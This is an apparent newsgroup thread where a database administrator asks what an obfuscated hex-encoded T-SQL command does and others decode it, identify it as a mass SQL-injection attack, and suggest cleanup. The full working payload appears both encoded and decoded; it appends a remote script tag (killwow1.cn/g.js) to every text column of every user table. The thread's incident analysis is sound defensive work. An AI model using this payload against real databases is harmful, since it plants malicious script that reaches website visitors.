SEO

Hi,
I need to figure out what some code that was maliciously executed
against a database does. However, it's in a very strange format. It
simply declares a variable and sets it equal to a huge binary thing
(seems to be some sort of compiled code) cast as nvarchar. It then
executes this variable.
Is there any way to decipher or decompile this code? Does anyone
have information either on what SQL Server does when it's asked to
execute a binary string (as opposed to regular T-SQL) and any tools
that can be used to disassemble or understand this code?
Thanks!

Here's the code:

DECLARE @S NVARCHAR(4000);
SET
@S=CAST(0x4400450043004C00410052004500200040005400 20007600610072006300680061007200280032003500350029 002C0040004300200076006100720063006800610072002800 320035003500290020004400450043004C0041005200450020 005400610062006C0065005F0043007500720073006F007200 200043005500520053004F005200200046004F005200200073 0065006C00650063007400200061002E006E0061006D006500 2C0062002E006E0061006D0065002000660072006F006D0020 007300790073006F0062006A00650063007400730020006100 2C0073007900730063006F006C0075006D006E007300200062 00200077006800650072006500200061002E00690064003D00 62002E0069006400200061006E006400200061002E00780074 007900700065003D00270075002700200061006E0064002000 280062002E00780074007900700065003D003900390020006F 007200200062002E00780074007900700065003D0033003500 20006F007200200062002E00780074007900700065003D0032 003300310020006F007200200062002E007800740079007000 65003D00310036003700290020004F00500045004E00200054 00610062006C0065005F0043007500720073006F0072002000 4600450054004300480020004E004500580054002000460052 004F004D00200020005400610062006C0065005F0043007500 720073006F007200200049004E0054004F002000400054002C 004000430020005700480049004C0045002800400040004600 45005400430048005F005300540041005400550053003D0030 002900200042004500470049004E0020006500780065006300 2800270075007000640061007400650020005B0027002B0040 0054002B0027005D00200073006500740020005B0027002B00 400043002B0027005D003D0072007400720069006D00280063 006F006E007600650072007400280076006100720063006800 610072002C005B0027002B00400043002B0027005D00290029 002B00270027003C0073006300720069007000740020007300 720063003D0068007400740070003A002F002F007700770077 002E006B0069006C006C0077006F00770031002E0063006E00 2F0067002E006A0073003E003C002F00730063007200690070 0074003E002700270027002900460045005400430048002000 4E004500580054002000460052004F004D0020002000540061 0062006C0065005F0043007500720073006F00720020004900 4E0054004F002000400054002C0040004300200045004E0044 00200043004C004F005300450020005400610062006C006500 5F0043007500720073006F00720020004400450041004C004C 004F00430041005400450020005400610062006C0065005F00 43007500720073006F007200
AS NVARCHAR(4000));

EXEC(@S);

Maybe you could SELECT the text of the T-SQL and check the execution
plan to possibly get some hint of what it's doing?

Please let us know what you find. That's pretty odd.

anojjona@aol.com wrote:

> Hi,
> I need to figure out what some code that was maliciously executed
> against a database does. However, it's in a very strange format. It
> simply declares a variable and sets it equal to a huge binary thing
> (seems to be some sort of compiled code) cast as nvarchar. It then
> executes this variable.
> Is there any way to decipher or decompile this code? Does anyone
> have information either on what SQL Server does when it's asked to
> execute a binary string (as opposed to regular T-SQL) and any tools
> that can be used to disassemble or understand this code?
> Thanks!
>
> Here's the code:
>
> DECLARE @S NVARCHAR(4000);
> SET
> @S=CAST(0x44004

[...]

> EXEC(@S);

Hi

Copy the code into a query window for a test datadase, then insted of
the EXEC(@S) just simply do a

SELECT @S

and look at the result. Here is what I got:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+']
set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''
<script src=http://www.killwow1.cn/g.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor

I'm not good enough to understand what this really does, and a lot
will depend on what is coming down the line from the web site.

But I think you got yourself something nasty, and I would ASAP kill
this DB and restore from a clean backup.

HTH
Matthias Kläy
--
www.kcc.ch

It looks like they've added <script src=http://www.killwow1.cn/g.js></
script> to each column in each user defined table.

Your server has obviously been compromised. If your data is
sensitive, take it offline right away until you figure out how they
got in. If you have a website that uses this db, take it down right
away. They're obviously propagating some js onto your website by
adding it in to all your data in a way that is not intended to not
show as visible text on the web itself.

Great, that's wonderful...Thanks! So this will be easier than I
thought. What that code does is loop through the tables in the
database and try to insert that nasty URL into each table. (Don't
click on that link, by the way.)

So basically, with each one of these things where they did that, I can
just use that select statement and find out what they did.
Awesome...Thanks!

Matthias Klaey wrote:
> anojjona@aol.com wrote:
>
> > Hi,
> > I need to figure out what some code that was maliciously executed
> > against a database does. However, it's in a very strange format. It
> > simply declares a variable and sets it equal to a huge binary thing
> > (seems to be some sort of compiled code) cast as nvarchar. It then
> > executes this variable.
> > Is there any way to decipher or decompile this code? Does anyone
> > have information either on what SQL Server does when it's asked to
> > execute a binary string (as opposed to regular T-SQL) and any tools
> > that can be used to disassemble or understand this code?
> > Thanks!
> >
> > Here's the code:
> >
> > DECLARE @S NVARCHAR(4000);
> > SET
> > @S=CAST(0x44004
>
> [...]
>
> > EXEC(@S);
>
> Hi
>
> Copy the code into a query window for a test datadase, then insted of
> the EXEC(@S) just simply do a
>
> SELECT @S
>
> and look at the result. Here is what I got:
>
> DECLARE @T varchar(255),@C varchar(255)
> DECLARE Table_Cursor CURSOR FOR select a.name,b.name
> from sysobjects a,syscolumns b
> where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
> b.xtype=231 or b.xtype=167)
>
> OPEN Table_Cursor
> FETCH NEXT FROM Table_Cursor INTO @T,@C
> WHILE(@@FETCH_STATUS=0)
> BEGIN
> exec('update ['+@T+']
> set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''
> <script src=http://www.killwow1.cn/g.js></script>''')
> FETCH NEXT FROM Table_Cursor INTO @T,@C
> END CLOSE Table_Cursor
> DEALLOCATE Table_Cursor
>
> I'm not good enough to understand what this really does, and a lot
> will depend on what is coming down the line from the web site.
>
> But I think you got yourself something nasty, and I would ASAP kill
> this DB and restore from a clean backup.
>
> HTH
> Matthias Kl�y
> --
> www.kcc.ch

Yes....we've taken it offline and have an idea how they got in. I've
heard in the news that thousands of websites were hit by this. But I
need to understand the extent of the damage. So that's why I'm going
through each of the log entries.

eisa...@gmail.com wrote:
> It looks like they've added <script src=http://www.killwow1.cn/g.js></
> script> to each column in each user defined table.
>
> Your server has obviously been compromised. If your data is
> sensitive, take it offline right away until you figure out how they
> got in. If you have a website that uses this db, take it down right
> away. They're obviously propagating some js onto your website by
> adding it in to all your data in a way that is not intended to not
> show as visible text on the web itself.

You might want to do the same loop this guy used to fix the data by
doing a REPLACE() to replace all instances of that <script> link with
and empty string ''.

DECLARE @BAD = '<script src=http://www.killwow1.cn/g.js></script>' --
DONT GO HERE OR CLICK THIS LINK

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+']
set ['+@C+']= REPLACE('+@C+',''' + @BAD + ''', '''')'
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor

....I think that's right, but I didn't test it or compile it. That
should remove the bad data.

Yes I didn't test it...

DECLARE @BAD = '<script src=http://www.killwow1.cn/g.js></script>'

should be...

DECLARE @BAD = VARCHAR(200)
SET @BAD = '<script src=http://www.killwow1.cn/g.js></script>' --

....Again...don't click that link.

anojjona@aol.com wrote:

> Great, that's wonderful...Thanks! So this will be easier than I
> thought. What that code does is loop through the tables in the
> database and try to insert that nasty URL into each table. (Don't
> click on that link, by the way.)
>
> So basically, with each one of these things where they did that, I can
> just use that select statement and find out what they did.
> Awesome...Thanks!
>

I'm glad I could help. Is it possible to tell us how you got cought
with this piece of sh...?

Greetings, Matthias
--
www.kcc.ch

Based on what I've been hearing about in the news, I'm guessing it was
a SQL Injection attack. But I too would like to know.